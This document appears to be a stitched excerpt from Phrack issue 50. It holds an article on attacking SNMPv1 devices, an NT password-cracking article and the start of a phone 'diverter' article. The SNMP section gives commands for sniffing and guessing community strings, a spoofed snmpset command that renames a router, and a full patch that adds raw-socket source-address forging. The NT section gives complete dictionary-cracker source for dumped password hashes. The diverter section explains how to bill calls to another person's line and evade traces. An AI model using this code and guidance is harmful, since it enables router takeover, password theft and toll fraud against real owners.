The SNMP protocol has 5 simple types of messages. They are get‑request, get‑next‑request, set‑request, get response and trap. We will concentrate on using the get‑* messages to retrieve information from remote sites, routers and the like, and the set‑request to manipulate a variety of settings on our target.

SNMP uses UDP as it transport mechanism. The basic layout of an SNMP packet is:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|IP |UDP|Version|Community|PDU |Request|err.|err. |name|value|name|value| ... |

|Hdr|Hdr| | |Type| ID |stat|index| | | | | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Community is SNMP's authentication mechanism. PDU type is the type of message being sent (get‑request, set request, etc.) Request ID is used to differentiate between requests. Error status is (obviously) used to transport error messages, and error index gives the offset of the variable which was in error. Finally, name and value represent the name of the field requested and either the value to set it to or the value of it on the remote server. These are defined by a MIB written in ASN.1, and encoded using a code called BER. ASN.1 is used to define data and the types and properties of this data. BER is used to actually transmit the data in a platform independent manner (similar perhaps to XDR.)

The values that can be fetched and set via SNMP are defined in what is called the Message Information Base or MIB. The MIB is written in ASN.1, and defines all the different variable classes, types, variables and whatnot associated with SNMP. Standard things in the MIB are classes used to define variables associated with data for statistics and values for the system as a whole, the interfaces on the system, (possibly) an address translation table, IP, TCP, UDP, ICMP, and so on, depending on just what kind of system the agent is running on.

Where exactly do SNMPv1's security flaws lie? We can narrow them down to 4 general problem areas:

1) Use of UDP as a transport mechanism

2) Use of clear text community names and the presence

of default, overpriveleged communities

3) Information avaialable

4) Ability to remotely modify parameters.

They're all related to one another. We'll go through one by one, define the problem, and explain how it is exploitable. Unfortunately, most of SNMPv1 (from here on out, we'll just call it SNMP) problems stem from its design, and have no easy solution barring the move to SNMPv2 or some other network management protocol. Some common sense, however, can minimize the problems in most situations.

UDP as a transport mechanism

I know I'm not alone in feeling that UDP is, at best, a poor idea when used in any sort of application that requires any level of security. The fact that UDP is connectionless leads to a myriad of problems with regard to host based authentication, which unfortunately enough, SNMP uses as one of its mechanisms. So we have 2 basic attacks due to the fact that a UDP transport is used. First, we can easily spoof packets to a server, and modify/add/reconfigure the state of the server. As we're using a spoofed source address, there isn't any way to get the return message, but the machine we are spoofing will simply drop the response message, and the server is none the wiser. Using our 'snmpset' program which has been modified to use a raw socket to allow us to forge the source address, we can modify any value in the MIB defined as read‑write ASSUMING WE HAVE A PRIVELEGED COMMUNITY NAME.

snmpset ‑v 1 ‑e 10.0.10.12 router.pitiful.com cisco00\ system.sysName.0 s "owned"

Changes our the router name to 'owned', just in case we want to be really obvious that this router has crappy security.

But how do we go about getting a legitimate community name? We have a few different methods we can employ.

Use of cleartext community names, and default communities

One of the most laughable things about the SNMP protocol is its "authentication" method. I use the term authentication in the loosest sense only, as it makes me cringe when I think about it. SNMP only can authenticate based on two different elements. The source address, as we saw above, it trivial to forge, rendering address based authentication useless. The second method is the use of "community" names. Community names can be thought of as passwords to the SNMP agent. As easily as plaintext password can be sniffed from telnet, rlogin, ftp and the like, we can sniff them from SNMP packets. As a matter of fact, it's easier, as every SNMP packet will have the community name. Grab your favorite sniffer (sniffer, not password sniffer) and head over to your favorite segement running SNMP. My sniffer of choice is 'snoop' so I'll use it as my example, though using any other sniffer should be easy. SNMP uses port 161. The field we're after, the community, is typically 6‑8 characters long. Cranking up snoop on my segment reveals the following. (IP's changed to protect the stupid, of course)

# snoop ‑x 49,15 port 161

Using device /dev/le (promiscuous mode)

10.20.48.94 ‑> 10.20.19.48 UDP D=161 S=1516 LEN=62

0: 0572 3232 3135 a028 0202 009c 0201 0002 .r4485.(.......

There we go. Using this community name we're able to grab all the info we want, and modify all the parameter and whatnot we desire. Easy enough... if you're able to sniff the segment. But what happens when you can't?

Available Information

When you can't sniff the segment, life gets a little more complicated. But only a little. We have a few things on our side that may come in handy. First off, almost always there is a default 'public' community. Very few admin's take the time to deactivate this community, nor realize the risk it poses. Using this community, we can usually read all the information we want. Quite often, being able to read the information gives us enough clues to try to brute force a legitimate community name.

snmpwalk ‑v 1 router.pitiful.com public system

will dump the contents of the system table to us, returning something like:

system.sysDescr.0 = "Cisco Internetwork Operating System Software ..IOS (tm) GS Software (RSP‑K‑M), Version 11.0(4), RELEASE SOFTWARE (fc1)..Copyright (c) 1986 ‑1995 by cisco Systems, Inc...Compiled Mon 18‑Dec‑95 22:54 by alanyu" system.sysObjectID.0 = OID: enterprises.Cisco.1.45 system.sysUpTime.0 = Timeticks: (203889196) 23 days, 14:21:31 system.sysContact.0 = "Jeff Wright"

system.sysName.0 = "hws"

system.sysLocation.0 = ""

system.sysServices.0 = 6

We see that we're dealing with a cisco router, and we see it's contact's name, and the system name. Same as we might do with guessing passwords, we can use this information to try to piece together a community name. Popular favorites include stuff like 'admin' 'router' 'gateway' and the like, combined with numbers or whatnot. Trying something like 'routerhws' for the above example might work. It might not. While failed attempts are noted, very few people, if any, ever check for them. (as it turns out, the above router had a community name of 'cisco00'. Imaginative, eh?)

Even if only public works, there's lots of interesting things available via SNMP. We can dump routing tables, connection tables, statistics on router use. In certain situations, we can even get information on packet filters in place, and access control rules. All are useful information to have in setting up attacks in conventional manners. Sometimes public is even given r/w on certain tables, and we can do most of what we need to do via that account. When we do have a priveledged community though, the fun begins.

Remote Manipulation via SNMP

We have all the elements we need to remotely configure the network. We have a community name, we have the ability to forge the manager (the SNMP client) address. All we need to figure out is what we can modify. This really varies. There are a set of defaults that almost every SNMP'able machine will have. In addition to these, though, are the 'enterprise' MIB's, which define vendor specific SNMP tables and fields. There's really too much to go into here. Check out ftp://ftp.cisco.com/ or ftp://ftp.ascend.com/ , for

example...most vendors make their MIB's easy to find. Cisco's web page also has a great introduction to their enterprise MIB's, which detail all the differences between different IOS release levels and whatnot.

IN the meantime, though, check out the following as fun places to begin:

system.sysContact \

system.sysName |‑ really sorta pointless to change, but hey...whatever. system.sysLocation /

interfaces.ifTable.ifAdminStatus.n (where n is a number, starting at 0)

at.atTable.atIfIndex.n

at.atTable.atPhysAddress.n

at.atTable.atNetAddress.n

ip.ipForwarding

ip.ipDefaultTTL

ip.ipRouteTable.* (there's tons of stuff in this table) ip.ipNetToMediaTable.* (same as above)

tcp.tcpConnState.* (only setable to 12, which deletes the TCB)

and so on. If you have a copy of TCP/IP Illustrated Vol. 1, the SNMP chapter will give you a set of tables with the types of all these values. If you don't have TCP/IP Illustrated, get off your computer and go buy it.

Remember, people don't really like it too much when you muck with their equipment. Act responsibly.

And to the admins reading this: TURN OFF SNMPv1! Think about it. Any time you allow control of you network via the network in a manner as unsafe as how SNMPv1 does it, you're creating more problems for yourself. Realizing its all about acceptable risks, realize this isn't one. Go investigate alternate network management software. Realize, however, there are always going to be problems. (I don't recommend SNMPv2, however...a few months from now when I release my SNMPv2 article and tools, you'll be glad you are not running it)

Resources:

The software I use is based on the UCD modifications to the CMU SNMP distribution. It is available at:

ftp://ftp.ece.ucdavis.edu/pub/snmp/ucd‑snmp‑3.1.3.tar.gz

Following this article there is a patch, which are the modifications to the snmplib to support address spoofing, and modifications to the 'snmpset' app to support them. The patch is only known to work under Solaris, though it should take only minor changes to move it to any other platform.

ftp.cisco.com/pub/mibs and ftp.ascend.com/pub/Software‑Releases/SNMP/MIBS contain the enterprise MIBS for a variety of different pieces of hardware. www.cisco.com/univercd/ contains tons of info on a variety of different Cisco hardware and software, including great references on SNMP under IOS.

http://www.cs.tu‑bs.de/ibr/cgi‑bin/sbrowser.cgi

has a MIB browser, which allows you to use your favorite web client to peruse the standard as well as vendor MIBs on thier site.

RFC's! Yes! All of them. Go to http://www.internic.net/ds/dspg0intdoc.html

and read them. Do a search for SNMP and you'll get back tons of hits. They're a little...hrm...terse at times, but these are the defacto definitions of SNMP. Skimming them will give you more info than you can imagine.

<++> SNMPv1/snmp.diff

*** apps/snmpset.c Mon Jan 20 09:07:22 1997

‑‑ apps/snmpset.c Tue Apr 8 17:21:03 1997

***************

*** 77,83 ****

void

usage(){

! fprintf(stderr, "Usage: snmpset ‑v 1 [‑q] hostname community [objectID typ e value]+ or:\n");

fprintf(stderr, "Usage: snmpset [‑v 2] [‑q] hostname noAuth [objectID type value]+ or:\n");

fprintf(stderr, "Usage: snmpset [‑v 2] [‑q] hostname srcParty dstParty con text [oID type val]+\n");

fprintf(stderr, "\twhere type is one of: i, s, x, d, n, o, t, a\n"); ‑‑‑ 77,83 ‑‑‑‑

void

usage(){

! fprintf(stderr, "Usage: snmpset ‑v 1 [‑e fakeip] [‑q] hostname community [ objectID type value]+ or:\n");

fprintf(stderr, "Usage: snmpset [‑v 2] [‑q] hostname noAuth [objectID type value]+ or:\n");

fprintf(stderr, "Usage: snmpset [‑v 2] [‑q] hostname srcParty dstParty con text [oID type val]+\n");

fprintf(stderr, "\twhere type is one of: i, s, x, d, n, o, t, a\n"); ***************

*** 85,90 ****

‑‑‑ 85,93 ‑‑‑‑

fprintf(stderr, "\t\tn: NULLOBJ, o: OBJID, t: TIMETICKS, a: IPADDRESS\n"); }

+ extern char *fakeaddr;

+ extern int nastyflag;

+

int

main(argc, argv)

int argc;

***************

*** 152,158 ****

usage(); exit(1);

}

! break;

default:

printf("invalid option: ‑%c\n", argv[arg][1]); break;

‑‑‑ 155,165 ‑‑‑‑

usage(); exit(1);

}

! break;

! case 'e':

! fakeaddr = argv[++arg];

! nastyflag = 1;

! break;

default:

printf("invalid option: ‑%c\n", argv[arg][1]); break;

*** snmplib/snmp_api.c Mon Jan 20 10:43:20 1997

‑‑ snmplib/snmp_api.c Tue Apr 8 17:21:08 1997

***************

*** 58,63 ****

‑‑‑ 58,71 ‑‑‑‑

#include <sys/select.h>

#endif

#include <sys/socket.h>

+

+ #include <netinet/in_systm.h>

+ #include <netinet/in.h>

+ #include <netinet/ip_var.h>

+ #include <netinet/ip.h>

+ #include <netinet/udp.h>

+ #include <netinet/udp_var.h>

+

#include <netdb.h>

#include "asn1.h"

#include "snmp.h"

***************

*** 847,852 ****

‑‑‑ 855,882 ‑‑‑‑

}

return 0;

}

+ /* EVIL STUFF in_cksum for forged ip header */

+ unsigned short in_cksum(addr, len)

+ u_short *addr;

+ int len;

+ {

+ register int nleft = len;

+ register u_short *w = addr;

+ register int sum = 0;

+ u_short answer = 0;

+ while (nleft > 1) {

+ sum += *w++;

+ nleft ‑= 2;

+ }

+ if (nleft == 1) {

+ *(u_char *)(&answer) = *(u_char *)w ;

+ sum += answer;

+ }

+ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */

+ sum += (sum >> 16); /* add carry */

+ answer = ~sum; /* truncate to 16 bits */

+ return(answer);

+ }

/*

* Sends the input pdu on the session after calling snmp_build to create ***************

*** 857,862 ****

‑‑‑ 887,894 ‑‑‑‑

* On any error, 0 is returned.

* The pdu is freed by snmp_send() unless a failure occured. */

+ char *fakeaddr = NULL;

+ int nastyflag = 0;

int

snmp_send(session, pdu)

struct snmp_session *session;

***************

*** 1013,1026 ****

xdump(packet, length, "");

printf("\n\n");

}

!

! if (sendto(isp‑>sd, (char *)packet, length, 0,

! (struct sockaddr *)&pdu‑>address, sizeof(pdu‑>address)) < 0){ ! perror("sendto");

! snmp_errno = SNMPERR_GENERR;

! return 0;

! }

/* gettimeofday(&tv, (struct timezone *)0); */

tv = Now;

if (pdu‑>command == GET_REQ_MSG || pdu‑>command == GETNEXT_REQ_MSG ‑‑‑ 1045,1099 ‑‑‑‑

xdump(packet, length, "");

printf("\n\n");

}

+ if(nastyflag == 1)

+ {

+ struct ip *ip_hdr;

+ struct udphdr *udp_hdr;

+ char *payload;

+ int socky;

+ struct sockaddr_in dest;

+ payload = (char*) malloc

+ (sizeof(struct ip)

+ + (sizeof(struct udphdr)) + length);

+ ip_hdr = (struct ip*) payload;

+ ip_hdr‑>ip_v=4;

+ ip_hdr‑>ip_hl=5;

+ ip_hdr‑>ip_tos=0;

+ ip_hdr‑>ip_off=0;

+ ip_hdr‑>ip_id=htons(1+rand()%1000);

+ ip_hdr‑>ip_ttl=255;

+ ip_hdr‑>ip_p=IPPROTO_UDP;

+ ip_hdr‑>ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + len gth);

+ ip_hdr‑>ip_src.s_addr = inet_addr(fakeaddr);

+ ip_hdr‑>ip_dst = pdu‑>address.sin_addr;

+ ip_hdr‑>ip_sum = in_cksum(&ip_hdr,sizeof(ip_hdr));

+

+ udp_hdr = (struct udphdr *) (payload + sizeof(struct ip)); + udp_hdr‑>uh_sport = htons(10000+rand()%20000);

+ udp_hdr‑>uh_dport = htons(161);

+ udp_hdr‑>uh_ulen = htons(length + sizeof(struct udphdr)); + udp_hdr‑>uh_sum = 0;

+ memcpy(payload + sizeof(struct udphdr)+sizeof(struct ip),packet,length );

+ dest.sin_family = AF_INET;

+ dest.sin_port = htons(161);

+ dest.sin_addr = pdu‑>address.sin_addr;

+ socky = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);

+ fprintf(stderr,"Payload size:%d sent\n",sendto(socky,payload,28+length ,0,

+ (struct sockaddr *)&dest,sizeof(dest)));

+ exit(0);

! }

! else

! {

! if (sendto(isp‑>sd, (char *)packet, length, 0,

! (struct sockaddr *)&pdu‑>address,

! sizeof(pdu‑>address)) < 0)

! {

! perror("sendto");

! snmp_errno = SNMPERR_GENERR;

! return 0;

! }

! }

/* gettimeofday(&tv, (struct timezone *)0); */

tv = Now;

if (pdu‑>command == GET_REQ_MSG || pdu‑>command == GETNEXT_REQ_MSG

Cracking NT Passwords

.oO Phrack 50 Oo.

Volume Seven, Issue Fifty

8 of 16

Cracking NT Passwords

by Nihil

Recently a breakthrough was made by one of the Samba team members, Jeremy Allison, that allows an administrator to dump the one‑way functions (OWF) of the passwords for each user from the Security Account Manager (SAM) database, which is similar to a shadowed password file in *nix terms. The program Jeremy wrote is called PWDUMP, and the source can be obtained from the Samba team's FTP server. This is very useful for administrators of Samba servers, for it allows them to easily replicate the user database from Windows NT machines on Samba servers. It also helps system administrators and crackers in another way: dictionary attacks against user's passwords. There is more, but I will save that for later.

Windows NT stores two hashes of a user's password in general: the LanMan compatible OWF and the NT compatible OWF. The LanMan OWF is generated by limiting the user's password to 14 characters (padding with NULLs if it is shorter), converting all alpha characters to uppercase, breaking the 14 characters (single byte OEM character set) into two 7 byte blocks, expanding each 7 byte block into an 8 byte DES key with parity, and encrypting a known string, {0xAA,0xD3,0xB4,0x35,0xB5,0x14,0x4,0xEE}, with each of the two keys and concatenating the results. The NT OWF is created by taking up to 128 characters of the user's password, converting it to unicode (a two byte character set used heavily in NT), and taking the MD4 hash of the string. In practice the NT password is limited to 14 characters by the GUI, though it can be set programmatically to something greater in length.

The demonstration code presented in this article does dictionary attacks against the NT OWF in an attempt to recover the NT password, for this is what one needs to actually logon to the console. It should be noted that it is much easier to brute force the LanMan password, but it is only used in network authentication. If you have the skillz, cracking the LanMan password can take you a long way towards cracking the NT password more efficently, but that is left as an exercise for the reader ;>

For those readers wit da network programming skillz, the hashes themselves are enough to comprimise a NT machine from the network. This is so because the authentication protocol used in Windows NT relies on proof of the OWF of the password, not the password itself. This is a whole other can of worms we won't get into here.

The code itself is simple and pretty brain dead. Some Samba source was used to speed up development time, and I would like to give thanks to the Samba team for all their effort. Through the use of, and study of, Samba several interesting security weaknesses in Windows NT have been uncovered. This was not the intent of the Samba team, and really should be viewed as what it is ‑ some lame security implementations on Microsoft's part. Hey, what do you expect from the people that brought you full featured (not in a good way, mind you) macro languages in productivity applications?

You will need md4.c, md4.h, and byteorder.h from the Samba source distribution inorder to compile the code here. It has been compiled and tested using Visual C++ 4.2 on Windows NT 4.0, but I see no reason why it should not compile and run on your favorite *nix platform. To truly be useful, some code should be added to try permutations of the dictionary entry and user name, but again, that is up to the reader.

One note: You will want to remove 3 lines from md4.c: the #ifdef SMB_PASSWD at the top and corresponding #else and #endif at the bottom...

Here ya go:

<++> NTPWC/ntpwc.c

/*

* (C) Nihil 1997. All rights reserved. A Guild Production.

*

* This program is free for commercial and non‑commercial use. *

* Redistribution and use in source and binary forms, with or without * modification, are permitted.

*

* THIS SOFTWARE IS PROVIDED BY NIHIL ``AS IS'' AND

* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*/

/* Samba is covered by the GNU GENERAL PUBLIC LICENSE Version 2, June 1991 */

/* dictionary based NT password cracker. This is a temporary

* solution until I get some time to do something more

* intelligent. The input to this program is the output of

* Jeremy Allison's PWDUMP.EXE which reads the NT and LANMAN

* OWF passwords out of the NT registry and a crack style

* dictionary file. The output of PWDUMP looks

* a bit like UNIX passwd files with colon delimited fields.

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <ctype.h>

/* Samba headers we use */

#include "byteorder.h"

#include "md4.h"

#define TRUE 1

#define FALSE 0

#define HASHSIZE 16

/* though the NT password can be up to 128 characters in theory,

* the GUI limits the password to 14 characters. The only way * to set it beyond that is programmatically, and then it won't * work at the console! So, I am limiting it to the first 14

* characters, but you can change it to up to 128 by modifying * MAX_PASSWORD_LENGTH

*/

#define MAX_PASSWORD_LENGTH 14

/* defines for Samba code */

#define uchar unsigned char

#define int16 unsigned short

#define uint16 unsigned short

#define uint32 unsigned int

/* the user's info we are trying to crack */

typedef struct _USER_INFO

{

char*username;

unsigned longntpassword[4];

}USER_INFO, *PUSER_INFO;

/* our counted unicode string */

typedef struct _UNICODE_STRING

{

int16*buffer;

unsigned longlength;

}UNICODE_STRING, *PUNICODE_STRING;

/* from Samba source cut & pasted here */

static int _my_mbstowcs(int16*, uchar*, int);

static int _my_wcslen(int16*);

/* forward declarations */

void Cleanup(void);

int ParsePWEntry(char*, PUSER_INFO);

/* global variable definition, only reason is so we can register an

* atexit() fuction to zero these for paranoid reasons

*/

char pPWEntry[258];

char pDictEntry[129]; /* a 128 char password? yeah, in my wet dreams */

MDstruct MDContext;/* MD4 context structure */

int main(int argc,char *argv[])

{

FILE *hToCrack, *hDictionary;

PUSER_INFO pUserInfo;

PUNICODE_STRING pUnicodeDictEntry;

int i;

unsigned int uiLength;

/* register exit cleanup function */

atexit(Cleanup);

/* must have both arguments */

if (argc != 3)

{

printf("\nUsage: %s <password file> <dictionary file>\n", argv[0]); exit(0);

}

/* open password file */

hToCrack = fopen(argv[1], "r");

if (hToCrack == NULL)

{

fprintf(stderr,"Unable to open password file\n");

exit(‑1);

}

/* open dictionary file */

hDictionary = fopen(argv[2], "r");

if (hDictionary == NULL)

{

fprintf(stderr,"Unable to open dictionary file\n"); exit(‑1);

}

/* allocate space for our user info structure */

pUserInfo = (PUSER_INFO)malloc(sizeof (USER_INFO));

if (pUserInfo == NULL)

{

fprintf(stderr,"Unable to allocate memory for user info structure\n"); exit(‑1);

}

/* allocate space for unicode version of the dictionary string */

pUnicodeDictEntry = (PUNICODE_STRING)malloc(sizeof (UNICODE_STRING)); if (pUnicodeDictEntry == NULL)

{

fprintf(stderr,"Unable to allocate memory for unicode conversion\n"); free(pUserInfo);

exit(‑1);

}

/* output a banner so the user knows we are running */

printf("\nCrack4NT is running...\n");

/* as long as there are entries in the password file read

* them in and crack away */

while (fgets(pPWEntry, sizeof (pPWEntry), hToCrack))

{

/* parse out the fields and fill our user structure */

if (ParsePWEntry(pPWEntry, pUserInfo) == FALSE)

{

continue;

}

/* reset file pointer to the beginning of the dictionary file */

if (fseek(hDictionary, 0, SEEK_SET))

{

fprintf(stderr,"Unable to reset file pointer in dictionary\n"); memset(pUserInfo‑>ntpassword, 0, HASHSIZE); free(pUserInfo);

free(pUnicodeDictEntry);

exit(‑1);

}

/* do while we have new dictionary entries */

while (fgets(pDictEntry, sizeof (pDictEntry), hDictionary)) {

/* doh...fgets is grabbing the fucking newline, how stupid */

if (pDictEntry[(strlen(pDictEntry) ‑ 1)] == '\n')

{

pDictEntry[(strlen(pDictEntry) ‑ 1)] = '\0';

}

/* the following code is basically Jeremy Allison's code written

* for the Samba project to generate the NT OWF password. For * those of you who have accused Samba of being a hacker's * paradise, get a fucking clue. There are parts of NT security * that are so lame that just seeing them implemented in code * is enough to break right through them. That is all that * Samba has done for the hacking community.

*/

/* Password cannot be longer than MAX_PASSWORD_LENGTH characters */

uiLength = strlen((char *)pDictEntry);

if(uiLength > MAX_PASSWORD_LENGTH)

uiLength = MAX_PASSWORD_LENGTH;

/* allocate space for unicode conversion */

pUnicodeDictEntry‑>length = (uiLength + 1) * sizeof(int16);

/* allocate space for it */

pUnicodeDictEntry‑>buffer = (int16*)malloc(pUnicodeDictEntry‑>length); if (pUnicodeDictEntry‑>buffer == NULL)

{

fprintf(stderr,"Unable to allocate space for unicode string\n"); exit(‑1);

}

/* Password must be converted to NT unicode */

_my_mbstowcs( pUnicodeDictEntry‑>buffer, pDictEntry, uiLength); /* Ensure string is null terminated */

pUnicodeDictEntry‑>buffer[uiLength] = 0;

/* Calculate length in bytes */

uiLength = _my_wcslen(pUnicodeDictEntry‑>buffer) * sizeof(int16);

MDbegin(&MDContext);

for(i = 0; i + 64 <= (signed)uiLength; i += 64)

MDupdate(&MDContext,pUnicodeDictEntry‑>buffer + (i/2), 512); MDupdate(&MDContext,pUnicodeDictEntry‑>buffer + (i/2),(uiLength‑i)*8);

/* end of Samba code */

/* check if dictionary entry hashed to the same value as the user's

* NT password, if so print out user name and the corresponding * password

*/

if (memcmp(MDContext.buffer, pUserInfo‑>ntpassword, HASHSIZE) == 0) {

printf("Password for user %s is %s\n", pUserInfo‑>username, \ pDictEntry);

/* we are done with the password entry so free it */

free(pUnicodeDictEntry‑>buffer);

break;

}

/* we are done with the password entry so free it */

free(pUnicodeDictEntry‑>buffer);

}

}

/* cleanup a bunch */

free(pUserInfo‑>username);

memset(pUserInfo‑>ntpassword, 0, HASHSIZE);

free(pUserInfo);

free(pUnicodeDictEntry);

/* everything is great */

printf("Crack4NT is finished\n");

return 0;

}

void Cleanup()

{

memset(pPWEntry, 0, 258);

memset(pDictEntry, 0, 129);

memset(&MDContext.buffer, 0, HASHSIZE);

}

/* parse out user name and OWF */

int ParsePWEntry(char* pPWEntry, PUSER_INFO pUserInfo)

{

int HexToBin(char*, uchar*, int);

char pDelimiter[] = ":";

char* pTemp;

char pNoPW[] = "NO PASSWORD*********************";

char pDisabled[] = "********************************";

/* check args */

if (pPWEntry == NULL || pUserInfo == NULL)

{

return FALSE;

}

/* try and get user name */

pTemp = strtok(pPWEntry, pDelimiter);

if (pTemp == NULL)

{

return FALSE;

}

/* allocate space for user name in USER_INFO struct */

pUserInfo‑>username = (char*)malloc(strlen(pTemp) + 1);

if (pUserInfo‑>username == NULL)

{

fprintf(stderr,"Unable to allocate memory for user name\n"); return FALSE;

}

/* get the user name into the USER_INFO struct */

strcpy(pUserInfo‑>username, pTemp);

/* push through RID and LanMan password entries to get to NT password */

strtok(NULL, pDelimiter);

strtok(NULL, pDelimiter);

/* get NT OWF password */

pTemp = strtok(NULL, pDelimiter);

if (pTemp == NULL)

{

free(pUserInfo‑>username);

return FALSE;

}

/* do a sanity check on the hash value */

if (strlen(pTemp) != 32)

{

free(pUserInfo‑>username);

return FALSE;

}

/* check if the user has no password ‑ we return FALSE in this case to avoid

* unnecessary crack attempts

*/

if (strcmp(pTemp, pNoPW) == 0)

{

printf("User %s has no password\n", pUserInfo‑>username); return FALSE;

}

/* check if account appears to be disabled ‑ again we return FALSE */

if (strcmp(pTemp, pDisabled) == 0)

{

printf("User %s is disabled most likely\n", pUserInfo‑>username); return FALSE;

}

/* convert hex to bin */

if (HexToBin((unsigned char*)pTemp, (uchar*)pUserInfo‑>ntpassword,16) == FALSE) {

free(pUserInfo‑>username);

return FALSE;

}

/* cleanup */

memset(pTemp, 0, 32);

return TRUE;

}

/* just what it says, I am getting tired

* This is a pretty lame way to do this, but it is more efficent than * sscanf()

*/

int HexToBin(char* pHexString, uchar* pByteString, int count)

{

int i, j;

if (pHexString == NULL || pByteString == NULL)

{

fprintf(stderr,"A NULL pointer was passed to HexToBin()\n"); return FALSE;

}

/* clear the byte string */

memset(pByteString, 0, count);

/* for each hex char xor the byte with right value, we are targeting

* the low nibble

*/

for (i = 0, j = 0; i < (count * 2); i++)

{

switch (*(pHexString + i))

{

case '0': pByteString[j] ^= 0x00;

break;

case '1': pByteString[j] ^= 0x01;

break;

case '2': pByteString[j] ^= 0x02;

break;

case '3': pByteString[j] ^= 0x03;

break;

case '4': pByteString[j] ^= 0x04;

break;

case '5': pByteString[j] ^= 0x05;

break;

case '6': pByteString[j] ^= 0x06;

break;

case '7': pByteString[j] ^= 0x07;

break;

case '8': pByteString[j] ^= 0x08;

break;

case '9': pByteString[j] ^= 0x09;

break;

case 'a':

case 'A': pByteString[j] ^= 0x0A;

break;

case 'b':

case 'B': pByteString[j] ^= 0x0B;

break;

case 'c':

case 'C': pByteString[j] ^= 0x0C;

break;

case 'd':

case 'D': pByteString[j] ^= 0x0D;

break;

case 'e':

case 'E': pByteString[j] ^= 0x0E;

break;

case 'f':

case 'F': pByteString[j] ^= 0x0F;

break;

default: fprintf(stderr,"invalid character in NT MD4 string\n"); return FALSE;

}

/* I think I need to explain this ;) We want to incremet j for every

* two characters from the hex string and we also want to shift the * low 4 bits up to the high 4 just as often, but we want to alternate * The logic here is to xor the mask to set the low 4 bits, then shift * those bits up and xor the next mask to set the bottom 4. Every 2 * hex chars for every one byte, get my screwy logic? I never was * good at bit twiddling, and sscanf sucks for efficiency :( */

if (i%2)

{

j ++;

}

if ((i%2) == 0)

{

pByteString[j] <<= 4;

}

}

return TRUE;

}

/* the following functions are from the Samba source, and many thanks to the

* authors for their great work and contribution to the public source tree */

/* Routines for Windows NT MD4 Hash functions. */

static int _my_wcslen(int16 *str)

{

int len = 0;

while(*str++ != 0)

len++;

return len;

}

/*

* Convert a string into an NT UNICODE string.

* Note that regardless of processor type

* this must be in intel (little‑endian)

* format.

*/

static int _my_mbstowcs(int16 *dst, uchar *src, int len)

{

int i;

int16 val;

for(i = 0; i < len; i++) {

val = *src;

SSVAL(dst,0,val);

dst++;

src++;

if(val == 0)

break;

}

return i;

}

<‑‑> NTPWC/ntpwc.c

SS7 Diverter plans

.oO Phrack 50 Oo.

Volume Seven, Issue Fifty

9 of 16

SS7 based diverter

The MasterMiiND <miind@geocities.com>

Brief Description:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey everyone, well I've spent some time now designing a Diverter, and finally came up with a foolproof design. After building every diverter plan I could find, and finding that they didn't work under the switching systems of our day (not surprising, seeing how all the plans are like ten years old) I decided something needed to be done. Well, I thought I'd share this new diverter with everyone, so we can all have phun again, until they change the system again.

Also called a "Gold Box", a diverter allows somebody to call one predetermined telephone number, and then get a dial tone from another predetermined phone line. It is like calling a direct in‑dial (DID) line on a PBX and getting a dial tone. The main difference is, that YOU actually built the device, and you don't have to enter authorization codes to get the dial tone.

Uses:

‑‑‑‑‑

You can setup a diverter so that you can call pseudo‑anonymously. That is, you call the diverter, and then call out of the second line. That way, if anybody checks their caller ID unit, the number of the second line, and not your own line will show up. Also, if they decide to activate a trace, then the telco and the police will get the wrong number.

Another reason for setting up a diverter of course, is to avoid paying for telephone calls. Any, and all calls you make on a diverter, are billed to the owner of the second line. This means, that if you call your Aunt Jemima in the Outer Hebrides for 10 minutes, then the owner of the line you used will get her number, and be able to call her up and ask who called her at the time and date stated on their bill. Now, if she is your average Aunt Jemima, then she will most likely say, 'Oh, that was my nephew, Michael. His number is 555‑2357'. But if she is cool, like MY Aunt Jemima, she would say something like 'Hmm, let me see...oh yes, that was a telemarketer from the USA, trying to sell me a used vacuum cleaner.' Anyway, my point is, that every billable call you make, will show up on their bill. For that reason, it is best suited to call stuff that you don't care too much about. Setting up teleconferences, calling long distance BBS's, phone sex, and maybe even long distance scanning are all good uses for the diverter.

Technical Description:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ok, so you want to make a diverter? Well, before you set out designing a diverter, there are some basic properties of the Signaling System 7 (SS7) telephone system that you should be aware of. Previous plans for diverters have been release in the past, but as those of you who tried to make one have realized, they do not work under SS7. Generally, these plans are around ten years old, and were designed for older switching systems such as Step by Step (SxS) and CrossBar (xbar). The diverter that I have come up with, has been tested under GTD‑5 EAX, and DMS‑100 switches. Because the signaling used by these switches, and the #5ESS are the same, it is safe to assume the diverter would work under #5ESS, although I can't say for sure, as I haven't been able to test it out. If someone gets one working under an AT&T switch, please drop me a line, because I would be really interested in how it worked, and what, if any, changes had to be made. Ok, enough nonsense from me!

